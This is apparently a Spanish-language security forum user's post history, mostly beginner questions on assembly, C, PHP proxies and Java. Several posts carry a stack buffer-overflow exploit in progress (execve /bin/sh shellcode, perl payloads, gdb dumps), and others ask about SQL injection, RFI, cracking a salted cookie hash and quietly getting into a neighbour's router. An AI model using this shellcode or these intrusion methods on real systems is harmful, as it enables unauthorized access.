0xbffff390:   0x00000001   0xbffff3d0   0xb7ff0986   0xb7fffac0
0xbffff3a0:   0xb7fe1b58   0xb7fbeff4   0x00000000   0x00000000
0xbffff3b0:   0xbffff3e8   0x50be839c   0x60c4758c   0x00000000
0xbffff3c0:   0x00000000   0x00000000   0x00000002   0x08048330
0xbffff3d0:   0x00000000   0xb7ff6730
(gdb) next
7   }
(gdb) x/50 $esp
0xbffff310:   0xbffff320   0xbffff5a4   0x0000002f   0xb7fbeff4
0xbffff320:   0x41414141   0x41414141   0x41414141   0x41414141
0xbffff330:   0x41414141   0x6850c031   0x68732f2f   0x69622f68
0xbffff340:   0x50e3896e   0x8953e289   0xcd0bb0e1   0x42424280
0xbffff350:   0xbfff0042   0xb7ff1300   0x0804843b   0xb7fbeff4
0xbffff360:   0x08048430   0x00000000   0xbffff3e8   0xb7e7ce46
0xbffff370:   0x00000002   0xbffff414   0xbffff420   0xb7fe1860
0xbffff380:   0xb7ff7591   0xffffffff   0xb7ffeff4   0x08048254
0xbffff390:   0x00000001   0xbffff3d0   0xb7ff0986   0xb7fffac0
0xbffff3a0:   0xb7fe1b58   0xb7fbeff4   0x00000000   0x00000000
0xbffff3b0:   0xbffff3e8   0x50be839c   0x60c4758c   0x00000000
0xbffff3c0:   0x00000000   0x00000000   0x00000002   0x08048330
0xbffff3d0:   0x00000000   0xb7ff6730

Citar(gdb) disass main
Dump of assembler code for function main:
   0x080483fe <+0>:   push   %ebp
   0x080483ff <+1>:   mov    %esp,%ebp
   0x08048401 <+3>:   and    $0xfffffff0,%esp
   0x08048404 <+6>:   sub    $0x10,%esp
   0x08048407 <+9>:   mov    0xc(%ebp),%eax
   0x0804840a <+12>:   add    $0x4,%eax
   0x0804840d <+15>:   mov    (%eax),%eax
   0x0804840f <+17>:   mov    %eax,(%esp)
   0x08048412 <+20>:   call   0x80483e4 <overflow>
   0x08048417 <+25>:   mov    $0x0,%eax
   0x0804841c <+30>:   leave 
   0x0804841d <+31>:   ret   

Citar(gdb) info r
eax            0xbffff320   -1073745120
ecx            0x0   0
edx            0x32   50
ebx            0xb7fbeff4   -1208225804
esp            0xbffff310   0xbffff310
ebp            0xbffff348   0xbffff348
esi            0x0   0
edi            0x0   0
eip            0x80483fc   0x80483fc <overflow+24>
eflags         0x246   [ PF ZF IF ]
cs             0x73   115
ss             0x7b   123
ds             0x7b   123
es             0x7b   123
fs             0x0   0
gs             0x33   51

al intentar poner RET me aparece esto

Citar(gdb) x/x buffer
0xbffff320:   0x00000000

Citar$(perl -e 'print "A" x 20 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x20\xf3\xff\xbf"')

Breakpoint 1, overflow (
    badbeef=0xbffff5a4 'A' <repeats 20 times>, "1\300Ph//shh/bin\211\343P\211\342S\211\341\260\v̀P\363\377\277") at vuln.c:6
6      strcpy(buffer, badbeef);
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xfff35080 in ?? ()
(gdb) exit

Y no se que mas me falte o que este haciendo mal, alguien podria explicarme porfavor

salu2
#67
hola

estoy estudiando asm, hice un ejemplo de messagebox en fasm, pero no se porque me sale un error al finalizar el programa, alguien sabe que podria ser?

Código (asm) [Seleccionar]
format PE GUI 4.0

include 'C:\fasm\include\win32ax.inc'

push MB_YESNO
push mensaje
push captio
push 0
call [MessageBoxA]
cmp eax, IDYES
jne exit
jmp gracias

gracias:

push MB_OK
push mensaj
push capt
push 0
call [MessageBoxA]
jmp exit

exit:

push 0
push [ExitProcess]

mensaje db 'mensaje', 0
captio db 'exito!!', 0
mensaj db 'mensaje', 0
capt db 'XD', 0


data import

library kernel32, 'KERNEL32.DLL', user32, 'USER32.DLL'
import user32, MessageBoxA, 'MessageBoxA'
import kernel32, ExitProcess, 'ExitProcess'

end data                               
#68
hola

una pregunta, casi siempre e programado con MingW en windows, ahora quise usar Visual Studio 2010 y dejar GCC para linux

quise hacer un hook rapido a MessageBoxA, para ejecutar el clasico mensaje de hola mundo y probar como funciona, ya que siempre trabaje con codeblocks

#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>

typedef int (CALLBACK *MSBX)(HWND, LPCTSTR, LPCTSTR, UINT);

int main(int *argv, char *argc){

HMODULE han;
MSBX msgbox;

han = LoadLibrary(L"User32.dll");
msgbox = (MSBX)GetProcAddress(han, "MessageBoxA");

msgbox(NULL,"mensaje","exito!!", NULL);

}


pero tengo una duda, como arreglo o cual es la nueva forma de llamar ciertas cosas por ejemplo

LoadLibrary, asi encontre que tenia que hacerlo funcionar

han = LoadLibrary(L"User32.dll");

pero para que es esa "L"?... han = LoadLibrary(L"User32.dll");

ahora me aparece marcado esto

msgbox(NULL,"mensaje","exito!!", NULL);

"mensaje" y "exito!!"

si lo dejo asi, me aparece bien el mensaje, pero para quitar el mensaje de error, tengo que poner igual "L", tambien encontre que con "_T"... pero no me funciono

el mensaje de error es sobre puntero a char* que no es compatible con LPCTSTR

y con MingW y codeblocks nunca tuve ese problema, que podria hacer para solucionarlo? y si puede solucionar permanentemente o es algo que siempre tendre que ver como arreglarlo?

salu2
#69
hola

tengo ganas de empezar a entender mejor sobre seguridad web, casi todo el tiempo me e dedicado a aplicaciones y redes, asi que tambien, yo creo que es hora de aprender cosas nuevas (aunque siempre hay algo nuevo para la CPU XD) y en ellas esta la web, que casi nunca le puse atencion

bueno, quisiera empezar por lo basico, a leer  ;D

segun WHK esto es tanto necesario como opcional

CitarHTML (Obligatorio)
PHP
ASP
SQL general (Obligatorio)
MySQL
MSSQL (Opcional)
javascript (Obligatorio)
HTTP (Opcional)

ahorita descargue la biblia de mysql y he intento buscar algun libro sobre SQL en general

me podrian recomendar pdf's y si se puede de libros para leerlos

ahorita busco de HTML, PHP, javascript, que son creo lo mas importantes

ya tengo conocimiento basico de PHP, Python y Perl, pero creo me interesa saber bien sobre PHP

que libros me recomiendan?, y que tanto me recomiendan sobre HTTP y ASP?

espero puedan ayudar a un newbie... jeje, se siente raro regresar a novato jaja  :P

salu2
#70
hola

que tan seguro es google chrome, bueno e escuchado que hablando sobre seguridad es uno de los mejores, pero hace unos años recuerdo que fue conciderado chrome como un navegador espia, ya que contenia spyware

y esa es mi duda, he escuchado que es muy bueno, pero aun sigue con spywares? o ya fueron retirados?
#71
bueno ya creo logre avanzar pero ahora tengo el problema que no logre hacer funcionar el exploit

les dire los pasos que hago para ver si me pueden ayudar mas facilmente

primero desactivo randomize_va_space

Citarcat /proc/sys/kernel/randomize_va_space
0

compilo el archivo vulnerable de esta manera

Citargcc -ggdb --no-stack-protector vuln.c -o vuln

ejecuto gdb y meto la cantidad de "A" que son necesarios

Citar$(perl -e 'print "A" x 44 . "B" x 4')

Citar(gdb) i r eip ebp
eip            0x42424242   0x42424242
ebp            0x41414141   0x41414141
(gdb)

lo que quiere decir que si pongo una shell tendria que quedar... "A" = 44 - 25 = 19

Citar$(perl -e 'print "A" x 19 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "B" x 4')

Citar
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r eip ebp
eip            0x42424242   0x42424242
ebp            0x80cd0bb0   0x80cd0bb0

Aqui es donde tengo que buscar donde esta RET, lo hago de esta manera

Citar$(perl -e 'print "A" x 19 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "B" x 4')

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) br overflow
Breakpoint 1 at 0x80483ea: file vuln.c, line 6.
(gdb) r AAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/gazette/ejemplo_profit/exploit_foro/vuln AAA

Breakpoint 1, overflow (badbeef=0xbffff602 "AAA") at vuln.c:6
6      strcpy(buffer, badbeef);
(gdb) x/x buffer
0xbffff380:   0x00000000
(gdb)

al parecer es 0xbffff380: 0x00000000

pero aqui viene el problema si pongo eso no me aparce ninguna shell, que podria estar mal?

Citar$(perl -e 'print "\x90" x 19 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x80\xf3\xff\xbf"')

Program received signal SIGSEGV, Segmentation fault.
0xbffff380 in ?? ()
(gdb) c
Continuing.

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb)


espero me puedan ayudar, abajo les dejo el codigo del archivo vulnerable

salu2

#include <stdio.h>
#include <string.h>

void overflow(char *badbeef){
char buffer[32];
strcpy(buffer, badbeef);
}

int main(int argc, char *argv[]){
overflow(argv[1]);
return 0;
}
#72
hola

una duda... en un tuto de Garfield07, al usar gdb y poner un break en una funcion al usar este comando le aparece el RET

Breakpoint 1, vuln (buff=0xbffffb5f "AAA") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff904:    0x00000000


pero yo al hacerlo me aparece diferente

Citar(gdb) r $(perl -e 'print "\x90" x 23 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')Starting program: /home/gazette/ejemplo_profit/exploit_foro/vuln $(perl -e 'print "\x90" x 23 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) br vuln
Breakpoint 1 at 0x804845a: file vuln.c, line 8.
(gdb) r AAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/gazette/ejemplo_profit/exploit_foro/vuln AAA

Breakpoint 1, vuln (buff=0xbffff604 "AAA") at vuln.c:8
8       strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff37c:   0xb7fbfff4

y al continuar con la execucion para visualizar la shell me aparece esto

(gdb) r $(perl -e 'print "\x90" x 23 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x7c\xf3\xff\xbf"')
Starting program: /home/gazette/ejemplo_profit/exploit_foro/vuln $(perl -e 'print "\x90" x 23 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x7c\xf3\xff\xbf"')

Breakpoint 1, vuln (
   buff=0xbffff5d3 "\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\061\300Ph//shh/bin\211\343P\211\342S\211\341\260\v̀|\363\377\277") at vuln.c:8
8    strcpy (buffer, buff);
(gdb) c
Continuing.

Program received signal SIGILL, Illegal instruction.
0xbffff37e in ?? ()


al principio me llamo la atencion "Illegal instruccion" asi que use x/x buff y me salio

0xbffff604: 0x00414141


asi que a los NOP le aumente a "r AAAA" y me aparce

0xbffff603: 0x41414141


no se si eso tenga algo que ver, igual el ret me aparece igual

alguien sabe que podria salir mal o que otra manera podria encontrar RET?

como informacion adicional uso debian con gcc-4.6
#73
hola

estaba practicando sobre exploits en linux

ya entendi como hacer una shell con asm y obtener los opcodes, para hacer la shellcode usando nasm y hexadump, estuve leyendo el tuto de Smashing The Stack For Fun And Profit tambien

ahorita estaba recordando unos post sobre eso y quise volver a intentarlo

antes no me salia ciertas cosas que ya comprendi...

ahora tengo un problema con GDB, cuando uso este codigo

#include <stdio.h>
#include <string.h>

int vuln (char *buff)
{
   char buffer [36];
   strcpy (buffer, buff);
}

int main (int argc, char *argv [])
{
   vuln (argv [1]);
}

int feo ()
{
   printf ("Eres feo!!!");
   exit (0);
}


lo executo con gdb y coloco esto, en mi version debian le tuve que cambiar los nop's porque se necesitó mas

r $(perl -e 'print "\x90" x 23 . "B" x 25 . "XXXX"')

ahora me aparece esto correctamente

/vuln $(perl -e 'print "\x90" x 23 . "B" x 25 . "XXXX"')

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()


aqui supuestamente me deberia de aparecer algo asi usando un break en la funcion vuln

(gdb) br vuln
Breakpoint 1 at 0x804842a: file vuln.c, line 8.
(gdb) r AAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln AAA

Breakpoint 1, vuln (buff=0xbffffb5f "AAA") at vuln.c:8
8        strcpy (buffer, buff);


pero a mi no me sale eso, de hecho no sale nada

(gdb) br vuln
Breakpoint 1 at 0x804845a
(gdb) r AAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/gazette/ejemplo_profit/exploit_foro/vuln AAA

Breakpoint 1, 0x0804845a in vuln ()



que podria estar saliendo mal, ya intente incluso usar el break con buff y buffer y tampoco

espero me puedan ayudar, porque apenas estoy tratando de entender como encontrar el RET para el exploit

salu2
#74
hola

tengo un codigo de un tutorial sobre exploits, pero no logro saber porque no me funciona

#include <stdio.h>
#include <string.h>

int main(){

int array[5];
int i;

for (i = 0; i <= 255; i++){

   array[i] = 10;
   
}

}


el codigo en si, funciona bien, pero supuestamente al compilarlo tendria que salir de esta forma

shellcoders@debian:~/chapter_2$ cc buffer2.c
shellcoders@debian:~/chapter_2$ ./a.out
Segmentation fault (core dumped)


sin embargo, cuando lo hago no me aparece

gazette@gazetto:~/ejercicios$ ./a.out
gazette@gazetto:~/ejercicios$


creen que podria ser por el compilador, utilizo gcc-4.6 y este tutorial es del 2007 creo todavia se usaba gcc-3.xx, pero no tengo idea si es por el compilador que tengo un resultado diferente o porque mas podria ser?

en la pagina de gnu solo esta la version gcc-3.2 pero no se si intentar instalarlo o si eso no tiene nada que ver

lo supuse porque AlbertoBSD en un tutorial explica las diferencias entre gcc-4 y gcc-3 al crear un exploit

espero me puedan ayudar, salu2

#75
hola

estaba siguiendo un sencillo ejemplo de exploit sobre linux y en el inicio muestra esto

#include <stdio.h>
#include <string.h>

int main(){

int array[5];
int i;

for (i = 0; i <= 255; i++){

   array[i] = 10;
   
}

}


y me dice que al executarlo me tendria que aparecer esto

shellcoders@debian:~/chapter_2$ cc buffer2.c
shellcoders@debian:~/chapter_2$ ./a.out
Segmentation fault (core dumped)


pero cuando yo lo hago no me aparece nada

Citargazette@gazetto:~/ejercicios$ ./a.out
gazette@gazetto:~/ejercicios$

sera acaso que uso gcc-4.6?, talvez aqui usaron otra version pero no especifican... alguien podria decirme porque no podria funcionar esto ya que siempre tengo el problema de que quiero leer algun tuto sobre exploit en linux y nunca puedo porque algo sale diferente, y ahorita se me ocurrio que prodria ser por el compilador

espero me puedan ayudar....salu2
#76
hola

estoy siguendo este tutorial

Citar+--------------------------------------------------------+
|                                                                   |
|      SQL injection && Blind Sql Injection      |
|                                                                   |
|                   Escrito por l0ve              |
|                                                                   |
+--------------------------------------------------------+

en el menciona bugs como por ejemplo

http://localhost/print.php?id=1'

donde me tendria que aparecer

You have an error in your SQL syntax near ''..................

pero por mas cosas que le pongo como me menciona el tuto no me aparece ese error, incluso con cosas como

http://localhost/print.php?id=1 and 1=1

nisiquiera con eso me aparece algo, unicamente si lo dejo normal me aparece bien la pagina

http://localhost/print.php?id=1

sera acaso que mysql ya viene corregido eso?, o cual podria ser la causa de que no me aparezcan esos errores?

salu2
#77
hola

perdon la ignorancia, pero me podrian explicar que son los token y los referer? y para que sirven

estuve viendo el post donde gano yoya, y el documento de universal hacking y creo entender que los token son los usuarios, pero que son esos numeros?, es el usuario cifrado?, pero en el documento no aparecen numeros sino el usuario completo

y el referer por lo que lei del post de yoya es la ultima direccion visitada, pero que relacion tiene con secs?

y que son los secs?, peron por tanta pregunta perocreo comprender el metodo de yoya pero no entiendo sobre que es token, referer y secs

espero me puedan ayuda

salu2
#78
Nivel Web / como podria hacer un RFI con esto?
20 Febrero 2012, 03:12 AM
hola

una pregunta, quise probar como hacer un RFI pero segui un manual donde decia que a veces hay codigo en el que se usa include() para redireccionar un archivo php, algo asi me aparecio despuede buscar en una pagina

pero cuando hago el intento segun en el ejemplo al poner un link con el php, la pagina lo pone en include redireccionando, lo intente pero me quedo asi

include(Content/content_index.php.php)

con lo que me di cuenta que antes de ponerlo, le incluye "content_" y ".php", y mi pregunta es

como puedo hacer RFI si a lo que le ponga me pondra asi "content_www.paginaweb.com/index.php.php"?

hay forma de lograrlo?, espero me puedan orientar

salu2

#79
Hacking / ayuda, aprendiendo a descifrar cookies
19 Febrero 2012, 22:59 PM
hola

tengo ganas de aprender sobre hacking nivel web, ya e estado leyendo varios tuto e incluso me meti a wazone a hacer las pruebas, me gusto la prueba cocinar, cuando logre pasarla descubri algo que no sabia, no dire mas para no arruinar la prueba

ahora quisiera hacer una prueba con una cuenta mia, me logue en mi cuenta de otro foro y tome mi cookie, siempre escuche que al robar una cookie tendrias acceso a varios lugares, mi pregunta es

como descifro, segun entendi sobre varios manuales, hay varias formas, ya vi una, pero vbulletin creo las cifra en md5 con salt

ahora estoy usando un prograa llamado pasword pro y utilizo la funcion md5($pass,$salt)

no se si este bien usar esa... y lo hago en fuerza bruta, el codigo de la cokkie que se hizo aleatoriamente es esta

27785fe9c5bb9af9fb95a5c14d2118c7

quisiera saber si estare en lo correcto al hacer eso o habra otra forma?

una vez vi un video de defcom, mostrando algo de eso, y reducia el tiempo de busqueda con fechas y no se que mas, alguien sabe algo de esto?
#80
hola

pues tengo ganas de aprender sobre auditoria sobre web, la mayor parte del tiempo me dedique a programar por ejemplo exploits, troyanos, y programas para probar la seguridad de los antivirus etc, jeje, casi nunca pude lograr hacerlo con otras computadoras porque siempre me gusto programar mis propias herramientas y cuando las terminaba, aparecia el anuncio de que tal metodo ya no funcionaria, los malditos routers, DEP, ASLR, heuristica, etc... pero bueno, lo poco que si logre hacer funcionar me gusto

pero ahora me gustaria saber mas sobre auditorias para mysql, php, html, etc... ya tenia ganas de hace tiempo y comenzaba a investigar pero como todo buen foro siempre llega nueva informacion y queria intentarlo y dejaba de lado la web

ahora quiero retomarlo bien, he estado leyendo el post de temas destacados y veo bastante informacion, pero conocen algunos scripts o algunos link done haya ejemplos?

porque hay mucha teoria que se que debo de leer, pero soy de los que entienden mas practicando, porque suelo cambiar cosas para ir poniendo las cosas mas dificiles e ir mejorando en lo que aprendo

alguien me podria compartir algunos ejemplos que pueda poner en mi servidor de apache para practicar, ahorita solo encontre un post hecho por zhynar_X, seguire su tutorial pero me gustaria saber si hay mas tutoriales de esa forma

gracias, salu2
#81
hola

Estoy aprendendo a programar para PSP, pero bueno, es una consola para videojuegos asi que me interese por hacer uno, hace tiempo trate de aprender a hacer juegos con SDL y C en computadora, y vi que tambien SDL funciona para PSP, anteriormente lo hice con C, pero tiempo despues descubri que un videojuego es mas para lenguajes como C++ o Java, ya que ellos manejan mas lenguaje para objetos

Alguien me podria decir, si realmente es cnveniente que haga videojuegos en C++ con SDL, o seria lo mismo si los siguiera haciendo en C, ya que aunque es casi lo mismo, hay cosas que si cambian entre los dos lenguajes

que me podrian decir?, continuo con C o mejor cambio a C++?

salu2
#82
La suspensión parcial de unos 10 mil sitios de internet, entre ellos Google, Wikipedia, Mozilla y Word Press, en protesta por la llamada ley SOPA (Stop Online Piracy Act) propuesta por el Congreso estadunidense, reavivó el debate en México sobre una legislación similar promovida por el senador del PAN, Federico Döring.

Usuarios de Twitter hicieron referencia a la iniciativa bautizada como "Ley Döring" que, dicen, busca reglamentar las descargas de contenido que se hagan en la red, en aras de proteger la propiedad intelectual de las obras.

Según el senador panista, con su iniciativa se busca hacer una labor de educación y disuasiva con el usuario para que sepa que no todo lo que está en la red es descargable de manera gratuita y el autor podrá decidir si quiere poner a disposición de los usuarios su contenido para descargar, o si se debe pagar por él.

De acuerdo con la iniciativa, la personas físicas que descarguen y difundan contenido registrado, se harán acreedores a una notificación precautoria en la que se les avisará que deben pagar por los derechos del contenido que quieren descargar, pero en caso de reincidir habría sanciones de tipo administrativas.

http://www.proceso.com.mx/?p=295222


EDITADO


EN MEXICO PASA DE OTRA MANERA, NOS DICEN LEYES QUE SUENAN TRANQUILAS Y QUE NO PERJUDICARAN A NADIE, PERO CUANDO LA ACEPTAN, LA LEY MISTERIOSAMENTE CAMBIA POR OTRA MAS FUERTE Y COMO YA FUE ACEPTADA NO PODEMOS HACER CASI NADA
#83

hola

Hay formas de evadir un router?

porque bueno hay miles de formas de acceso pero todas son mediante conexiones remotas, aplicaciones enviadas o envenenamiento de redes

pero habra forma de avadir o entrar en el router para modificarle el acceso?, hice un escaneo en el router de mi compañero de a lado, ya que le mencione que accedi a su red para hacerle una broma XD y como me dijo que no tenia problema con eso siempre y cuando no le descompusiera algo, he estado intentado decubrir como le hacen para acceder a un sistema protegido por un router

cuando hago un scaneo con nmap, me dice el nombre de su router, que es de telmex y es thomson, me menciona que tiene el puerto 8085 abierto

cuando intento acceder me aparece un loggin, como yo ya habia entrado pues ya me sabia su usuario y la wepkey, pero cuando las pongo me aparece en blanco el explorador

si intento hacerlo por telnet me dice refuser error 401, no quiero enviarle algo, porque en primera mi objetivo es tratar de hacerlo sin que se note y en segunda como me dijo que no le fuera a descomponer algo, no creo que quiera aceptar que le mande algo para probar

estuve leyendo y el acceso que tengo es de CWMP, al parecer se usa para modificar cosas, como el firmware y dicen que incluso la configuracion

busque mas en Google y no encontre mucho sobre que puedo hacer con CWMP o si se puede hacer algo

por eso pregunto, habra forma de evadir o acceder al router mediante CWMP o el puerto 8085 de thomson, y modificarle el acceso, o la unica forma seria que tuviera otros puertos abiertos y lograrlo

porque siempre leo que hackers logran acceso a una computadora aun teniendo router, pero no creo que todos los dias se vayan a alguna casa y se pongan a usar aircrack para despues modificarle todo, digo me imagino que si ha pasado pero quiero creer que tambien se puede desde un lugar lejano y sin tener que mandar varios links o varias aplicaiones y esperar a que funcionen

espero alguien sepa sobre el tema antes de que mi compañero quite su red o haya otro apagon en la red y ya no tenga donde buscar o que todo lo que encuentre tenga el anuncio de "closed by FBI" jeje XD
#84
hola

Ya tengo hecho una forma de acceder mediante proxy a la web mediante php, BlackZeroX (Astaroth) me dijo una forma muy buena, y estoy leyendo un codigo de webproxy de codigo libre, y poco a poco le estoy entendiendo, pero necesito consejos para cosas que no logro entender

cando trato de acceder a este mismo foro en la parte de arriba me aparece esto

CitarHTTP/1.1 200 OK Date: Mon, 09 Jan 2012 03:52:38 GMT Server: Apache X-FRAME-OPTIONS: DENY Set-Cookie: PHPSESSID=23c7b1354df724840c9c0ef58453f11f; path=/; HttpOnly Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: private Pragma: no-cache Set-Cookie: PHPSESSID=cfb8c94298dbe5c60815b76d39699369; path=/; HttpOnly Last-Modified: Mon, 09 Jan 2012 03:52:38 GMT Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=ISO-8859-1 d797

Hasta ahorita llevo echo unicamente esto, encontre otra funcion llamada fsockopen, ya que es la que utlizan en la webproxy que trato de entender

pongo el  codigo de lo que llevo hasta ahorita

<?php
$fp 
fsockopen("foro.elhacker.net"80$errno$errstr30);
if (!
$fp) {
    echo 
"$errstr ($errno)<br />\n";
} else {
    
$out "GET / HTTP/1.1\r\n";
    
$out .= "Host: foro.elhacker.net\r\n";
    
$out .= 'User-Agent: '$_SERVER['HTTP_USER_AGENT']."\r\n";
    
$out .= "Content-type: application/x-www-form- urlencoded\r\n";
    
$out .= "Content-type: text/html\r\n";
    
$out .= "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66\r\n";
    
$out .= "Keep-Alive: 300\r\n"
    
$out .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,";
    
$out .= "text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,"
    
$out .= "image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1\r\n"
    
$out .= "Connection: Close\r\n\r\n"

    
    
fwrite($fp$out);
    while (!
feof($fp)) {
        echo 
fgets($fp128);
    }
    
fclose($fp);
}
?>



bueno, no se que mas cosas le falte, pero hasta el momento e logrado visualizar las paginas, pero con el problema de no poder visualizar todas las imagenes, y hay lugares donde me aparece rara la pagina por la falta de las mismas

ahorita lo que quisiera saber, es... que tengo que hacer para poder usar las cookies y poder acceder al foro con el proxy?

no se si tengo que usar igual $_GET y $_POST, o si tengo que usar codificacion de base 64, ya que el codigo que analizo algo asi tiene, pero como esta dinamico para usuarios, pues me cuesta trabajo darle un seguimiento

espero alguien me pueda aconsejar con esto, mientras tratare de seguir buscando en google y de analizar el codigo

gracias y salu2
#85
PHP / como programar una web proxy?
8 Enero 2012, 09:31 AM
hola

Alguien sabe que necesito saber para crear un web proxy, bueno aparte de programacion PHP, lo que pasa es que instale un web proxy para ver como funcionaba y me gusto, pero me gustaria hacer el mio, el que uso tiene su codigo fuente, el problema es que tiene las opciones de eliminar imagenes, bloquear cosas, etc... y eso hace que no entienda bien donde empieza y donde acaba

y como php no tiene precisamente un main, pues no se donde empiezo o que es lo basico para hacer un POST a alguna pagina y me imagino que con GET mostrar la pagina

alguien sabe algo de esto, me gustaria poder usarlo sin curl, ya que uso un hosting gratuito y no puedo usar muchas cosas extras

salu2
#86
hola

Me podrian decir, si tiene etica hacker usar metasploit?, es que siempre he pensado que para ser hacker, tienes que aprender y saber crear tus propio metodos y herramientas, ya sea para encontrar vulnerabilidades o para mejorar cosas de maneras que a nadie se le hubiera ocurrido

pero metasploit, lo concideran como algo etico para hackers? o es otra herramienta hecha por algun hacker, para cualquiera que se quiera sentir hacker?

porque yo lo he usado, aunque hasta el dia de hoy ninguno metodo me a funcionado para tener acceso a algun lado, y pues para encontrar fallos talvez un poco, pero tambien me gusta tratar de hacer mis cosas para advertir de algun fallo... no dire siempre, pero cuando puedo lo intento

alguien me podria decir que opina porfavor

salu2
#87
hola

no puedo iniciar un archivo java, lo hice en Eclipse y al ejecutarlo alli va bien...

cuando lo compilo con javac, lo hace sin ningun problema pero cuando lo ejecuto, me dice que no encuentra la classe, lei que podria ser algo de classpath pero la verdad son las primeras veces que trato de trabajar sin alguna IDE

alguien me podria ayudar diciendo porque o como le hago para que pueda ejecutar el archivo java y configurar la consola de linux para que classpath encuentre la classe

y me podrian decir porfavor, si hago eso, podria desconfigurar el el proyecto de Eclipse?, y si es asi, donde deberia poner los archivos para que no perjudique el proyecto?


salu2
#88
Java / es lo mismo Java, que Java para android?
31 Diciembre 2011, 23:06 PM
hola

alguin sabe si la misma programacion de java funciona para android?. hice algunas pequeñas aplicaciones, pero es muy poco lo que e usado de Java y lo hice mediante tutorils basados en android, y me gustaria saber si tienen muchas diferencias o son minimas y con aprender Java es mas que suficiente o tengo que buscar mas acerca de programacion exclusivo para android?
#89
hola

alguien sabe si puedo hacer un sniffer a mi cel?

es que hace tiempo probe hacer un man in the middle con dos de mis comptadoras y me funciono, pero se descompuso mi compu y formate, e instale debian wheeze pero dejo de funcionar un wifi que tengo para hacer injecciones, porque tengo en mi lap un broadcom y mas o menos me sirvio pero se apaga de repente, tengo un athero pero es usb y como que no me deja hacer injecciones y el que utilizo no recuerdo que es, pero aunke es lento en la injeccion me funciono bien

y en la instalacion de wheeze dejo de funcionar como lo hacia anteriormente, y ya no e hecho mas pruebas, pero si alguien puede decirme, si me hago un MITM y pongo como objectivo mi cel, podria de igual manera extraer mi contraseña, o los certificados no funcionarian provocando que no pueda extraer nada?

espero alguien sepa del tema, y me peda decir si es posible, para buscar la forma de volver a hacer funcionar esa wifi y hacer el intento

salu2
#90
hola

e estado escuchando sobre hackeo a celular, bueno no es algo reciente, pero mucho se habla sobre hackeo por bluetooth, pero que la parte dificil es que alguien te empareje a su celular.

hace tiempo escuche que se estaban haciendo exploits que se mandaban a un celular, y cambiaban el mensaje de bluetooth para emparejar, y de esa forma las personas se confundian y aceptaban

y quisiera saber si todavia existe ese metodo?, de mandar un exploit para cambiar el mensaje de bluetooth o ya fue reparado ese error

y alguien sabe que mas metodos existen aparte de bluetooth, existen algun otro tipo de exploits o algo parecido?

espero alguien sepa mas del tema, porque aun busco en google, pero me aparece sobre bluetooth o sobre como hackear facebook y hotmail... y no encuentro casi nada sobre celular y exploits

salu2